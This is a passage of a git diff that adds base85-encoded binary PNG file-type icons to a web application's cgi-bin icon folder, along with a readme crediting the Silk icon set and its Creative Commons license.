ziANmVA1t`V`!geVbN19I!S;K1s}f%}etFye&hzOk-@`MNBY6s5CCqxeOm%YG`Sn|W zKCGHQ@neU~jRQ$jtO_1}J%0Vj;qU79v1fjCTIZg<nJoFpP~P7`QPpzijAgeB-}qO@ ztmWBw?4isIgCnah7^&6mzh=9;Qe8%rX}-VS_LbXsncS-v?2LFdVS3Z-(4!Y`vTQuy z9PM3iVB)q?FFEP)U-tdKzMq#qZthi@RM>y@{p$x0UVk;aIb}g`@SdPK3wKOWm2_Av zpX3y}_sh59KEsm{r`E5`6m&9gF6FanG@bUY@99$EVwGe&3lC4nwOhMG6I(fV*5s9n zRV@E;V(*-~s>b(TU1{e(efnh6c|g!(g58mt6U!1d+Z@pdO?8S|>c_CWPB-`Bt*Kv} z+qd-vRBH$)=D0kOX^rU%pMUdsS#n3{s$(r%qU0<8t#qH9zxM}A`DVT?r5el@KYj$Y zhA`~?C$PG-nKN_iy<6+be-y2Csnhbbo2@XvZ?gCClS`70Bsc94nG-ipU2oyFH;G&S z^>a!}em*<(Yj3OeYw7Qd#s_!|czu|6y6A8SbvEQ!dD_i>)W83fdBgk}Kje!<3no-6 Tg{@^^U|{fc^>bP0l+XkKzrTqU literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/library.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/library.png new file mode 100644 index 0000000000000000000000000000000000000000..807b862cfc087b70dcdd971af3ac92688484e998 GIT binary patch literal 467 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGficz7#W6%ea_Pa1ev=a= z+8+MSwd3^^c9WDb+2CQ7xa%kXye2-G#zeywi=7)RcY1goS|G>BBgfTO8q79JgVSh= z)t}n=?RAPOd=8hs>^fxD-4Xtt@4lJ-Z~61;?`}1;s0MYWrabgXdF&IE^fR&AQfA)1 z|KBn{FZdGw<-5F2skOHEnZ?zXCu<)p@QEr{d!GF4>-y66nU73%ua`Go|Mnnf=*HGu zpHu^ZgWn$~zxz~^+#C`lnqxG1?Lqy#n!A-=S50`gOZFenm=&Tr^~AH!--J1unQz{4 z7xD@eJ+0x&5^+Z2(3dJ(J-vTPpXW39Fa!mOYEBd?)}3L<Q_r*W^yaUnDuGioZ%>-} zrsn6_-h<b;LNA-#dG_WF|K&2T&^b;*)%kLa%O)MEHELB|rNnu%f#X0-bZl(0i4-Ga zV$*>(kYyoHzdS#AvHfsa@JtQYG^Ng*Xca|i?Lw)@2&Y9>NoqNpJNUSFG2P|;V0GDN S`vwLE1_n=8KbLh*2~7Z6V!yip literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/lit.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/lit.png new file mode 100644 index 0000000000000000000000000000000000000000..88ae1fee882faffd457d8bc6a04cedc1276595b7 GIT binary patch literal 992 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8GX(gAxUw*@)HJo^9Ev$| z?Z}f)ccz?c`SR_Jj-E-%E}tXM_Wb$xr{!4ApI=|*ELy@NBvNxIWzDTQU%vfuar3!y z?arG|Z@&C`bLG{UEt~dixwV9ai>KsJjER*^&b|;4Ihj5Cj<B$?^z=>H^JvSHPfxyl z`;xLR<jk`pJ?Cov{Q6UKEN9KVIX*!lS8m;T^X<u(UtjLLyRv25o-Oy*lpIR2v9pnp zlVKPIqai@!5D4Vnw2Og(fxX1j*OmP$w;VT{scY}9qYMlT9iA?ZAr*6c`(E=k8Su1f zTixy3zUp*DfrcPYx7w>OfA9O=Ft{Y2yMK$VZHwI&jkJvmXROVM<D6Q{pj6DY!(eiG zpJK`dgN2$NxyG431}mof89jWZdffVbuD+@H<yBT|)T>N2p1W{cy}z_r%wOr&o7aNV uzOUmuExYeyvFLL5KfceBa|*TWx3|Pg9^`RWDZF_H6cV1UelF{r5}E+Q?6Wuk literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/mdb.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/mdb.png new file mode 100644 index 0000000000000000000000000000000000000000..bddba1f98ca56f8cffa39d768f80a06361d8d218 GIT binary patch literal 579 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGf$^%Ri(`nz>E6kwvy>b~ z+I;1b!Z@GE8a?@Hr2il(K#)~bC98i{PO0K736YD8Zy7}k)!ja}eLt4%cdmYt-tCwf zB7eHqt@?cR|NK{*1Sj%7Dm=C;CHAko_?qC*bjFx<VXIG;?Y{fI%=(wl9zVb3pSO!9 zvBoT{*cfr4XlKYQzvU)!{VT7(=3H|7?WEIBg9K*Z&HG>Y|HBWF?xWvUhICCjsgi0W zd8u@6+hN7C&x>dIs9kygoi#y%?V&*b@y}d4_wN23z4~g^;)@;EUYl;@*32-Gn&P3d zB*AR<#RP*N0-jZij&9}3muk#n3Sh~crMB~|MgfcZT)*cGJ38;Zs5vB|zU_8y*4C&H z4Ur`ZB3zsoS`KjjV%*Mk;AZxo#A`WbsT+e<b{I4rT##d;SkO9;p`>HM-^_ya-mI-! z4M8ha4t@CjSL=P+=7}9?Hmn_P$yN+$*Nb<`JpEkBSg|*bwSk*KVaG;>MOODW2Cl!Z zTE8)3NzqOnhW5jXtpYL*8g@({{0rxvP2(*QzusO`z%=3fb8D?_UW|txe#lf1`0=!C z_y41h3%gvDjucPvTh5wcRiV#X@w?am!@<et<M%fEZwYTOKjEKuL5Tal=Ci%Um3zew lSSsAFIJfM>m-F!q-qU{DJpT0PJp%&+gQu&X%Q~loCIBM!0~r7S literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/notavailable.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/notavailable.png new file mode 100644 index 0000000000000000000000000000000000000000..05ff3180a7247ff51a973b1eeb3406fccebc561a GIT binary patch literal 241 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzr-XVpd!#?mZ`?Tz`$AH5n0T@!1V!y z8J*Uc%wS+(U`coMb!1@J*w6hZk(Ggg!63jV#P$FG{|ux6{ksdQ85kHCOM?7@862M7 uNMm4N5cG6$45_%4oS-0Wz{NFT9VY|3CxdeN>&DL@lRaJiT-G@yGywn(Z8Y@& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/ooffice.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/ooffice.png new file mode 100644 index 0000000000000000000000000000000000000000..977771727595ec47b05c86ce44d6372e20673dcc GIT binary patch literal 690 zcmeAS@N?(olHy`uVBq!ia0y~yU=UznVBqIqV_;x-TkNmTz`(#*9OUlAu<o49O9lo8 z&H|6fVg?3oVGw3ym^DX&fq{X&#M9T6{T4H)2&;m``}#=?3`{PbE{-7@=S%y2Jwg&i z+UCE%XI=j8g+=|p)?{ThN8`y0XI?zSr5h#UczT0tK<=v0|G7O2VxKJX)ol_Jbm<nm zq~xi>v{~N3P?Pzj*X{+DrhSiJl)gJtlRN7p`}5ej@8^8CdH$CrTQowG-|=eRx|p@= zt?D10h&%jJ=k2chzh50Z`+f3@t^*e`U**geul#*3`MF!I=<IFV-Ckw#<ts)+yW6B* z40yc!`BUj*%ad9T3pO2$QV}xVc3|tfc`K%|KQU>4{-ZJNUT;s~^8NFt+5XPR>ACd# zm-1QNwNu)QG`bY#o@6rka&?Quj(<xTB0AJ}{QkkZ>-5n@YXy3?eAJ$}#87D2)^iHU z`X7H*_jE3i4h@|-*PEAl4Z}0x8=2Dn=h}MC`Ww4_pBc;3`}fI}-u9MlrVqJ87OfEL z5>T0*vzlSX<e->6HK!}zmx+H25!2Q#%+Tte$NwS6!ZUP>thd*)=Q#)15-jI({$>B+ z{dm9d<GS_R?`*GR=in7_JbrQV45f~TD-U=rja;vj#oS;~^D8L*{)2XT)k8mzER<Gc z&@67bb^ejTDGfDO4?Es(r7IpE&UY`~cv5rmriV?dvhM9U=y&eHx=y8*8v+WgU0RpB zPqhUrZg`Y-F_mHF>4mS>{k=77*%WO-Q{I+_(7mPR4jR$i4DIU{OCQr}Z#rGTxGAGc z_3lFr2Cq|lBvjvpGH|f`$qrf@u4R@g%8=I|KBekUYeju}`igby^u95-2>AH-^oTN? y?mk)P8_fUg{;G${qUPOk;ikTS4ENjqWfw9zzG1iG>=g_Q3=E#GelF{r5}E+qaWo|W literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/other.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/other.png new file mode 100644 index 0000000000000000000000000000000000000000..8b8b1ca0000bc8fa8d0379926736029f8fabe364 GIT binary patch literal 294 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4i*LmhONKMUokK+u%tWsIx;Y<KVi<=^^$>s zL9)a(q9iy!t)x7$D3!r6B|j-u!8128JvAsbF{QHbWU37V1H%qa7sn8d^Q9A``3@-v zxGrCJSnXY7TkWhD?b26%bZzz5xboT|{@S!T58Evh^(2`tPGdP~U$%wOGKO>NtZPY5 z4>!n*gkRdi>UCaPKPGbLgB#i|f}Y({v;2EyH1l*qGzyYZMYb$|=GOMxqHD9u-h@A` z4`1e;X^yu%-`ePR(&A)s?29Q~n^P1IE_!GpDlF2&zvddt<4g%ru~`!j=&RMWp0{!J w_uh2db&>aNz1vpm7dZ`8yGyNEjxNwQS{nUfUF9}^1_lNOPgg&ebxsLQ0GOn5J^%m! literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/page.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/page.png new file mode 100644 index 0000000000000000000000000000000000000000..6ed2490ed1432d5d667a76235360824a1088e928 GIT binary patch literal 734 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfvLdL#WBR<bnoQ5{y~W{ z$Jg#x-u{pMw6^}PkDIRETEwt=tC92~?NZ^>&!o+QCk9?P<iWHowS7Zqn3CxvpG_S< znNE5aZ)Fos+`}n+bf4{c&A#?iS8v)`i=Y2ld+u|!He-O3;(0kI$%TL9->ANM_Nbz1 z)7P(Gk34(!EX;2H@%swT16E(v+Sj75vHW0mcJ_%BBbk#aLLVz+w6(R@sL1d+FTPkX z$?3y7X7%sk#(vCJXLwg!?moF&aPj3T9i811JyZlbT_POKX0!h73|swIb751|+z%}- z+B~!Ftw{LnpJ20t<8QUL)%+8Mr9N#dk9w|Ix9;CWp=jZk6ILwxmv{Bgm2mDmn&NS_ z(Jh(+4R;>8?@#7CcGIyWdY0k;o2?lpr|zkUaEWqG*)DrGVbbIcZub)}Y;N%`)6dE| zUwE;adDT<9Ewh*I@W14_G$_Y5Y2%G;4NrEb{958xf1_c#Ais*g{eqj8yoC?AwEiwv zD4Ww(w~AfXM|pO=)!a1KnuF!F4xM82+2-b_E6Nl;Y&y%g@^;T+VJjI)yY9f{LYEW` zi+0LrFU(oKKwMYynaGPzHism;g^$l*;FA^$s65-}tYv*}=B|RvRg!a;Xool~{Cr^j z!G=ezJZmrePUx{e@G+5}WpRALhiSY_&iYky+ZXwTv!)$u=<Ve-`%&)b`d0Sgodt_| znKvh|*j{s_ax=f_VYe@SR~EjV$MUJ&=!Zx7iUkbn8fP50x(Vc@&bnZ3$8>bFXUz6h z9`}?k9TGe9Bd*yeQ_z(uPw1rS?U`)b5=w+5mka)zAa4EUn3(zx)tl~IQx>vY>k8Y? ssF|I%eY(2F(n<d#o->tv^{!`-v{@byDtu--0|Nttr>mdKI;Vst0PspeQ~&?~ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/pdf.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/pdf.png new file mode 100644 index 0000000000000000000000000000000000000000..8f8095e46fa4965700afe1f9d065d8a37b101676 GIT binary patch literal 591 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGf$^cIi(`nz>E6kwy`=+1 z+OMXHhjn|gvi@&eCsO$I($s{7JGSfyTooa1mn5pn(e&EMiF2BkNQvURT^FW0?amAp zsZj`&o|2+AIc3rrZR5!<^?RSc;>nbIae)2%xxLRH&ndPHWmv`WZL7g8$+`X)j;$zs z%*FC{TI$l`op)mG=DS<ou&lAW|J=!Q;eyFcrLK*ezHr`p$H#NH;n260AzYJG3OhBr zKK%Z>?g-~PHO5#2Q_-$+p<^EzeJ-~w%k)@&x#MV3%!HFE3tn3>H6CbQ5|MD*Y|=cz z6|e8_XkZEnb+wVx*X;bhB;vp+hfCJ1x!H5qugqIM#YO3$u^`LBO${Bj5)Oxq+1y`v zXb8V**Ev0v_1b-Hj`#N!t*kgc|M_CiIn~)#G0?Tq;;-PR>-q-k^#vspC#_c4Kj&;( zWxa>f6ww=#Is)qT*LX<Ge876>@nMd#y^b$(`SaS@1ZK`{*t7HCW=(Al{WA)iEZVPp z<3F;0z0=Q~?0?^|9Qve`cdSid-gk$nXid>SS#_cE87scVefxgU@6<cvz_%<*{bvM; zn7w9P8+-8K>tA`tKE(y!ow)1&?k8(yJq_1A@K1irm3;jBr`G9z_pCQzPu)@MUGc`5 z{q-hC_Vb)+<)(IfS)0Np*(A@A&G-`ipHanf^8?27C$=##Ffe$!`njxgN@xNAIA;ZP literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/php.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/php.png new file mode 100644 index 0000000000000000000000000000000000000000..7868a25945cd5e5cb7daaca9591927511ca65c0f GIT binary patch literal 538 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfpLwei(`nz>E6lS-b{fa z4Qs{zHZ*Yv-TK1K6Mc1AEq`}M$F^KArQ6rkmTq0zEm)Pa$)xFk>$c3<u4~uKRmn@c zGNp3$<JTqU*Gj%?nZzt#{_IZizMcN;3>E^PdIV!wzT5W*|5|J1_F&c3tf0jgGfZdu zzF>LT9-twTqPpfl@6lPy8rQuR+oaR1(G{Q}vcg4xg`@rOv?Dt2oEg<ZR)-q!G;ixz zwMxNLNTl0UYek4wgZ)E`ckWG0->*D7aN)y|oIlTax9u&w@%8SZM?o!{p7tJ0HDTQ; z!=KW!P4l9uqGvO=T;6#dhfD8mHr!XcxLW<ePn*W=oMjt~zs_0O+UYXuO!&roH!YqW zeXJj#H$9h0(%NpbYQ+5=3t0CkTrTg~`0;Nu%bK<Gn-^)AInI_fQ%f^)&DP41xqfW3 z%tG#yT;~iNFZ0Z*k*(g^)~zdjJmSNTiSyXQ47_%{-d2!fQ!u5aCT<INf%Nld{%*_C zYwGGB$c2UZ=Q91VQ~CJhFni5Zkrmfpi_C7Y^{79%_q~g`<L=wGFC0z_{qa&eDR^z; u;^|3~R$sb(nq!W}%ZFC8A6zZ3V}7)Do+f|Oq{j>l3=E#GelF{r5}E*lMC}&< literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/phshop.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/phshop.png new file mode 100644 index 0000000000000000000000000000000000000000..c6e93583e42e89644fd4a3ea60bbdc2543d12ef6 GIT binary patch literal 736 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s77>k44ofy`glX=O&z`$AH z5n0T@z%2~Ij105pNH8!ku$OrHy0YJ5<`h<yz2L*Rgn@yn$kW9!#NzbQ3AP=vsRC{D zf1WFUe>XMU)k$GT=OhIo*Tjv2Vh80}xOH_!ue@E$YAxvKktw)g!^9~EgIHJ(+VgZI zIEaWezge|<LT~ju+vmS$Uw;&H<z8cAn#8>Fx}5Kq9{#J@`14PaSVYM&CAMdC4d3(d zWC`!=yyBAQw@N8gU3}uD4{<!pxHq4Z>p$3Wu|xKZ)#BGY(<d}4%Uonxr)lQ$`CFyP zgEi88k{K4))HYa6vGSci=l>I>X<BQn^pYz-pJ<o9Zlo)`-M{s=d_`8AcUb9~9U5mf zOLYTW_55VIFI%azCja~^zPh<Q{!i)aNB5ppJbo>*%`bmW{oC1dUj;4Qe9Ow~q?T{k zDvg_+tFOGsC^;z6CGg^$__}$yFV~m-_*HBFukP*NREy6Kj(u9Zz3=L(L-(}HUtBpl zbI+nJN^61^%g>#>&@hGlLD>GF_p@aW1T^Qx)%}{TwP}8(#+Cc~q-)<?ys&tS(y}>* zt_IFanJ(0q{dBRfy%TM6`EGx1v;5D8+jZ~!K2x^i`Nf@=I4hhhJr#5V-vz$<Xv2_D zANT(7xpzAI{+z7jJ^pIm?xMcl+^wsB+h6zBm(^acrna7AU)xl_1w9N&@2~F8DgVDk zyCiP&R(U&*Z%<}FfAi*Wv`o#_)jU5e3Ij7a?=b|tWZiKrI>_AoiQA0BU$x!;J-y9- zO|arouPpEJ6WUW6SKRSuJ#bEWd+T(&J@Lu>rj0CFmo~qTS@31u297I@^>qR5U)i=Y zF)^=gQQ>hHI>B2$f&Gedd4Ti11${35wqnA<ZxsY4b68|cJn^ve4V!&#UFV9Y^6T`h ul5*|V_BqU2@N!D&mHoBr&;8%JpV7|r-Ta7&9hnRa3=E#GelF{r5}E+L6H#UW literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/pl.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/pl.png new file mode 100644 index 0000000000000000000000000000000000000000..95deeffb1387c473d20a7690901ebf47f42a9c25 GIT binary patch literal 687 zcmeAS@N?(olHy`uVBq!ia0y~yVBlk5U=ZM7V_;xVo8o81z`(#*9OUlAu<o49O9lo8 z&H|6fVg?3oVGw3ym^DX&fq{X&#M9T6{T4H)u!Ye6`30H`3`~xmE{-7@=Tj%yX9p*W z9GhQ!?)Uq9(s`4ms#MKfHTe`@JPKg8^0>>gzi~3_{^sV{A`2g=$i|4Ui?fSsTeNg| zZ-1rMv5`@A<+N2d%ywoL#ZO<d<Yi-eMddyD^Oo(+20SYxbY`h|t~+=3tZw3>M;7}e zTrU<c4OzAI9^c^&MLBMPCFXsPb<@tx_*p$kWjf=67`^$X$Mz^H*-zX0EmES5k72_3 z=kKMHXDJuYpDBOkb*b60HAbHq8rUCnp3q)eb?w%t!Yl!n_3qE&v)|4#d}e4|t@Mdu zli(b|iRQ=ltP0U$5?ty!h5do+lWdve{4;O%+xx2tO-xUluX0i~W9`<U;}6~|aF{J$ z$eGHpr}&+&aG;yZY!{aIwfnBW*6oc_nWN+H!or|bl(y%lcGPP%<KLY({W?1KT>B+$ z{QKz9quERh?(Xhy4S4K%*_!2#%@AwgR@!v<j3z^v*VdUomlx;hp57GQ-rm0Y@>_+z z$4~3_|98^dI&WDfZv$`BgX;wre`0jR<hR~_`|Zt}H>LB~cHhmL-?6Pp;YQjsA>(|W z_QU)xS2DLo#V);aIcVh;<;x4Uev>hFSGvR^(0Srlf`LZn+VZTex2F3of6Oo=xKrtq zze|+1wzjm=r*l!!8?L=${&6G2WY711{t|7sFUvf8{#^Xj(@$qV-nRUH#Ijs}`sqxD z6(L%u849!veS>%J-o2V3Aua7$n_=7B;_bbL+zc0T%(Aa$ecdywg{#%+>w^am{Py3k w=VZ9|o2}uyi%WHN_2G-L&#U&%`^Eo!-r=oZ+x-qQFfcH9y85}Sb4q9e0OC3>3;+NC literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/ppt.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/ppt.png new file mode 100644 index 0000000000000000000000000000000000000000..c4eff0387d5888c638ba09473ba6d2369f7b56f0 GIT binary patch literal 588 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd4mJh`2Kmqb6B!s7SkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGf$^TFi(`nz>E6lvyMrAC zj@$2k|CF^SNzX&%-Its#8%6kaa*xLCIpxF?6(y6A_?kc9qX*YU(|@|x<B}IIxY45G zBy`gHezo=P<d2hHOk5x-QI<IKd`)`Uu@zbj$7bk0&=L5UFU@d2)RbYtsxu1Vn{}kE zpYQ2-p>=+f&+WJ0q8}(FgnpGsIBxlT`Q??%GIxDAnX+i{MUUTq_jPrAtFnDtV#VDt zb6=ijLmNX};QPRtJGK4iDEQyIm|>#P)g-`lH?MsE)vUdVzh3S8cfQVM$I`<O3s$Nm zsE27*3trNEd0f2VX#MY|yZa8Eyv@IH`Rj~#9+O%=R`_r*3NE~v!<2B9li_81`kWn= z{kPu9DcT;AmHY7d?`NTT){iXIJcYETa$U_T{iym;W`Uf~U!HAY&c^Ls$7`*0?iaa> zxJo1&96K{Rj>##I>Cg4^J>SbXl>#^%S$NYJH(X2ViIn16y;EC%_H@q5#%Fy27AD0< zo|~N(;)-N(4{X_5CRy<6o$?~?=>eQ8SRSp-HIv(~BWmFoI{nFX)ia`3q;qWU##`?G zY{z(f({$f6vdz}!r*z((7f_V@n)q<_D|Q3pOtu|rO6(1Zw%mm>@!L1I1}Rj$uV+l0 toACax;DfXAuWRbIoh$QYm6Q0x_Eo3mudw`dKL!Q{22WQ%mvv4FO#o#z|2Y5v literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/quicktime.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/quicktime.png new file mode 100644 index 0000000000000000000000000000000000000000..3089b46401ae2285bb7d0eea817840d296724c57 GIT binary patch literal 612 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>a4%kdeCzR>@1 ziGhJh!qdeuq+(9%DSvN~L<xou&nxd29-Dc$blbLE@mynF$4C>c6&hA9f~~EJB`+kV zd=-3k<*2hew_?*ihvP>4R~IgD7E}@B`l}p#J*Ir?-J3J#+FO6N^KZ9v*#DV-rX<6R znT#w-41rfVla{`ob%mE9;0P0=;MV%75=$C>ZTnoZ^6y5qFj=lyarV2+&x`f<f7MK4 z>~T55z?4|HwD7xZZTPos^RL`0-1N|Caqc8z<3#^hDKC-it_ZKdm0R=ndWD#ouX#0j zvCWk0*JJ;lbgHS#`Tyolm16izi@-|~f|@&R!~e5Y`@7HH{5<IA9$tpUfmb*x9-dA+ zs&htvXF4C-BJT%LS8Mk%#Z9`S(Oq+|PxSAKUFC5m{35&7%bneR_<-r=`0FtT&s-I= z_PTEU&*P%Xvv|||UthmHw5u#KFus#5>T4EMb=aRpDaz`!#TRKuZKbp=y2&*bwS_9e z+6B&Bf!e7DF0>@HH8xphv~1Lu+n?`saCh$GQww9arIvWsd^u=p^pa6q?<vnk&l6se z!R|U7huOP}e%*XEf7*Ew^Suer&OY0_{o%QH>vmkdcYU_w(hkND8DG0Umhoqs^u8}y zbct`L=t*9`%DhS5r%xX}_tj9yiD7b<#ks%SpQ7TI&fdfIrRH7AO^@lp4|nX<TP${C z=F_zTog9o-g+eU*+zvk4^!cTE{?V%bj#I3KIR|QXuCdwT_f`7DnKL~dAMEQHcY7=N VCN-LEWnf@n@O1TaS?83{1OR@I5tje} literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/rar.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/rar.png new file mode 100644 index 0000000000000000000000000000000000000000..c08c978f628ebab3f1b53fee8cd0f00f23b87507 GIT binary patch literal 1272 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u%tWsIx;Y9?5p`5IGKTg zK_S^A$d`ekN|k}3p_zf<=YIx<h8GMBr3MTPuM!v-tfn(Ci04mVIr9nw12aQ_Pl)UP z|Nmbzyq?Rjpo)P#Nim5>l9}O-5ksddgG@UELo5SB1OtN+1A|aSLSh92do?q6JC{%k z17AI>*aQaI+Q6*$J_q=@`R1E<FRotnn&HhWhL?eUfpZxa&0$y&C!dt4l)5r@%Ym%( z{9J-83|t%xN@9H0PG;>g(#{_43mF(%7#Nxu7>XGfVi*|085m3%7({%0Hv9Un4hq`P z)U;;9hK&p?oehnv`}#NAxv!Q{_F<6jW{_=Xkf~x2PtbR+X0X5MoVu66<tl^oB?hMp z4EARj9L_M<on$adWT<(@(0GTT=?+8V?ezXt46S!_H=i%vyU%0!@{{MzUcGgbq0_6Z zqn6>mA;T@*s@1KxUflJ57?OK3-@wq|_TAfGzJ7W5=;7%zr%#?b>AX;rOPrNklDY4w zPuDTifH)O#S%!wGoEDbGSFfG>`|qQ!9s?gA!~g$3{{R2||NkF07KT%^0w$-$lrb=L ziiveeiuXuJ{QUWI^XAPPH*PdFHC0klQczI%|NlS3C>ZDvcyW8%X$A&{`jQ~O;Qs>( z82&%B;bdT7c;o5f7*a7ON$3A@i|&{2#n}WN=rM38q;32jf6paW_y^0QE*VA+1+jmu zJYE0)|NYDV=wB)mhk{xjTig51|2G>nGej#nFl>}D|8qX`)9dd^6V`BxJ1`h}Z``ow z_xBueVUC!8TmlX{&(`#OKN5f2_<#DJ<0t+wDKtdv(@Fa9|I0)B-}%q}|DU;^fkj~R z^t<1qkBQgEJ=yW4<*$;x1B0QVt;y4<uhTm}$|(!9GO`G4wh=bpywl`-Z@t0?A%%vB z8RAARe}5k2DQo**+`y1DF(u*0(a&G_g*$$~v2|cD+<4{MyvKFFrn0i=wK1?rFsx+r V`{uaOZV4zEc)I$ztaD0e0s!Anss#W5 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/readme.txt b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/readme.txt new file mode 100644 index 0000000..8b22595 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/readme.txt @@ -0,0 +1,3 @@ +Many of the icons in this directory were created by Mark James and are licensed under the Creative Commons Attribution 2.5 License +Find more of the Silk 1.3 series at: http://famfamfam.com/lab/icons/silk/ +http://creativecommons.org/licenses/by/2.5/ \ No newline at end of file diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/real.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/mime/real.png new file mode 100644 index 0000000000000000000000000000000000000000..9ca3fbf536e7f96f26f3cd16c721054568a89123 GIT binary patch literal 1406 zcmeAS@N?(olHy`uVBq!ia0y~yU=UznVBq6mW?*0t{Ft+Yfq{V~-O<;Pfnj4`&F{d; z3=9kk$sR$z3=CDO3=9p;3=BX2GcYu~U|=XUU|@Kaz`$TNoq<6-fBMRqR~Q(W83KGl zT>pc>ng9Q1{{Nr$|G)A7{|x`n{QrOE%>Oep|DQ?wf5!O#83vH#%rpOI&ip?!?f*>U z|1%jtYSYgAPn-EaE$x4r@&7aikXGX}|BYw<H%|L+Z2aGt;XlLw{|smTGtB(YkoKR! z_&);!$Y7AsGtc}_JM-W8%zp-uJ!j6GIWzOjnY1%!jL)2509iZp%$b=p&&*6aGt>CY zOa_oE($1Von|UTJ?M#~SnKTBFqm0j-F`jwGIPHwF@fl-=GYtRFFq}EVF!KyU+8GAp zGYkwfL0&pD6XfW$nILB|fP4V5Y359jS;jNZFn~NX^UO>TNSis+c;-w7kpI%o%uJg( zGc9dqn(@pu29S4+&wwP2(`FhQ&opM3$?$(B!<m^3GiNfS&15j1$-s~X3cE9DpwLN6 z1Nol;6gD6)%}fJ1+BoeD11P9K7SBur8Eu?4lK~WRAnBQDAYh!9#sCUP<1-*@jnmSM zjnj-7(ir}yF`P+bn3=|qmd0S5#=u|<ilj5fplC=l1_d+&DAYk=Hxr~46dVkoNSJxX z804iiW00d6Kyi|G2IPaZG-Hs_44^17J_GU)h;M9c%wWv$-<aWyF~dw_hBRXaV`Bye zPy~XbALI&fjDq4597!NYfx{gXz2Kk(xe**Xpx6d`802KIA3%|Bd<GO$#%Umf!A3JM zfMSV(0puqJ28OkB)@n)wRadVKidw5_xpwW||JUyQub%T?6T}S)n)5%XdTsUI|4Yw( zub#6uXwF*AsGwu_js-;pt=+qJ>C&YwEiM25|7Rc_bbOo;!@$7sz9h&m7?c%84rX|6 z9izm+z{uq3;uumfC#mK*155tS|3(G|#SJqU7>}?Vv9BvI{*(Cc^V9$J3hW9E4NUj{ z*Z==Md2Zv>=dagq=iy;sJaXtm??-#--8>#&FaNihU&+YS@zi?4f4^_v>i_x6*iU`8 z`41z9!UC~n@1=PDyxD)_hNQ#}iG9p00s#-y4|})0-(P>CJ}~LW;R6f;4mv&mZ${2| z_c!4|YCzJC@9*`M9T*G?4gUQ8JkP%&w5#!<>1%$zxCVx#n(yDg+dq@niK)L=Z2aeG 